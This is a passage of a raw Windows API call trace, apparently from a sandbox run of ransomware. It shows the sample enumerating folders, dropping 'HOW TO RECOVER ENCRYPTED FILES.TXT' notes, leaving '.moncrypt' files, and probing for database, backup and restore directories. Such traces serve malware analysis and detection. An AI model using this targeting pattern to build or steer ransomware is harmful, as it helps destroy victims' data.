lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.897] WriteFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0054.898] CloseHandle (hObject=0x18c) returned 1 [0054.898] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 0 [0054.898] GetLastError () returned 0x12 [0054.898] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.898] GlobalLock (hMem=0x440004) returned 0x550170 [0054.898] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.898] GlobalUnlock (hMem=0x440004) returned 0 [0054.898] GlobalLock (hMem=0x440004) returned 0x550170 [0054.898] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.898] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.898] GlobalUnlock (hMem=0x440004) returned 0 [0054.898] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.898] GlobalUnlock (hMem=0x44000c) returned 0 [0054.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d88, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0054.899] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41e81dc0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41e81dc0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0054.899] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0054.899] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.899] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.899] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.899] GlobalUnlock (hMem=0x44000c) returned 0 [0054.899] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.899] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.899] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.899] GlobalUnlock (hMem=0x44000c) returned 0 [0054.900] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.900] GlobalUnlock (hMem=0x440004) returned 0 [0054.900] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.900] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41e81dc0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41e81dc0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.900] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.900] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.901] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.901] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.901] GlobalUnlock (hMem=0x440004) returned 0 [0054.901] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.901] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.901] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.901] GlobalUnlock (hMem=0x440004) returned 0 [0054.901] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.901] GlobalUnlock (hMem=0x44000c) returned 0 [0054.901] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.902] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41e81dc0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x41e81dc0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41e81dc0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0054.902] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.902] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.902] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.902] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.902] GlobalUnlock (hMem=0x44000c) returned 0 [0054.902] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.902] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.902] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.902] GlobalUnlock (hMem=0x44000c) returned 0 [0054.902] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.902] GlobalUnlock (hMem=0x440004) returned 0 [0054.902] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.902] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeede3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS.moncrypt", cAlternateFileName="MSB1EN~1.MON")) returned 1 [0054.902] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.902] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.902] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.902] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.902] GlobalUnlock (hMem=0x440004) returned 0 [0054.902] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.902] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.902] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.902] GlobalUnlock (hMem=0x440004) returned 0 [0054.902] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.902] GlobalUnlock (hMem=0x44000c) returned 0 [0054.902] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.903] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeede3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS.moncrypt", cAlternateFileName="MSB1EN~1.MON")) returned 0 [0054.903] GetLastError () returned 0x12 [0054.903] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.903] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1 [0054.903] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0054.903] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0054.903] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.903] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.903] GlobalUnlock (hMem=0x44000c) returned 0 [0054.903] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.903] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.903] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.903] GlobalUnlock (hMem=0x44000c) returned 0 [0054.903] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.903] GlobalUnlock (hMem=0x440004) returned 0 [0054.903] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.904] GlobalLock (hMem=0x440004) returned 0x550170 [0054.904] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.904] GlobalUnlock (hMem=0x440004) returned 0 [0054.904] GlobalLock (hMem=0x440004) returned 0x550170 [0054.904] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.904] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.904] GlobalUnlock (hMem=0x440004) returned 0 [0054.904] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.904] GlobalUnlock (hMem=0x44000c) returned 0 [0054.904] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.904] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR", len=0x3c | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR") returned 1 [0054.904] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.904] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.904] GlobalUnlock (hMem=0x44000c) returned 0 [0054.904] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.904] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.904] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.904] GlobalUnlock (hMem=0x44000c) returned 0 [0054.904] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.904] GlobalUnlock (hMem=0x440004) returned 0 [0054.904] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0054.904] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6f0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@싢R슶R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0054.905] GetLastError () returned 0x3 [0054.905] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enfr\\") returned 0x3d [0054.905] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0054.905] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6f0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@숼R企@\x18㿬Q\x181")) returned 0xffffffff [0054.905] GetLastError () returned 0x2 [0054.905] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enfr\\") returned 0x3d [0054.905] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0054.905] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6f0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@뻜R企@\x18?T\x18;")) returned 0xffffffff [0054.906] GetLastError () returned 0x2 [0054.906] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enfr\\") returned 0x3d [0054.906] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a698, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0054.906] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6f0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@몤R企@\x18?T\x18D")) returned 0xffffffff [0054.906] GetLastError () returned 0x2 [0054.906] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enfr\\") returned 0x3d [0054.906] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a698, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0054.906] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6f0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@숼R企@\x18뻜R\x18j")) returned 0xffffffff [0054.906] GetLastError () returned 0x2 [0054.906] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enfr\\") returned 0x3d [0054.906] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0054.906] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6f0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@몤R企@\x18?T\x18q")) returned 0xffffffff [0054.906] GetLastError () returned 0x2 [0054.906] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enfr\\") returned 0x3d [0054.906] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a698, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뻘RP") returned 6 [0054.907] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6f0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@婴U企@\x18?T\x18y")) returned 0xffffffff [0054.907] GetLastError () returned 0x2 [0054.907] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enfr\\") returned 0x3d [0054.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a698, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0054.907] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6f0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@숼R企@\x18?T\x18\x81")) returned 0xffffffff [0054.907] GetLastError () returned 0x2 [0054.907] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enfr\\") returned 0x3d [0054.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a698, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0054.907] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6f0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@몤R企@\x18?T\x18\x88")) returned 0xffffffff [0054.907] GetLastError () returned 0x2 [0054.907] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enfr\\") returned 0x3d [0054.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a698, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0054.907] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6f0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@婴U企@\x18?T\x18\x8f")) returned 0xffffffff [0054.908] GetLastError () returned 0x2 [0054.908] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enfr\\") returned 0x3d [0054.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a698, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0054.908] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6f0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@숼R企@\x18?T\x18\x97")) returned 0xffffffff [0054.908] GetLastError () returned 0x2 [0054.908] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enfr\\") returned 0x3d [0054.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a698, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0054.908] GlobalLock (hMem=0x440004) returned 0x550170 [0054.908] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.908] GlobalUnlock (hMem=0x440004) returned 0 [0054.908] GlobalLock (hMem=0x440004) returned 0x550170 [0054.908] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.908] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.908] GlobalUnlock (hMem=0x440004) returned 0 [0054.908] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.908] GlobalUnlock (hMem=0x44000c) returned 0 [0054.908] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enfr\\") returned 0x3d [0054.908] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0054.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0054.908] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enfr\\") returned 0x3d [0054.908] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0054.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0054.909] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", cchLength=0x3d | out: lpsz="c:\\program 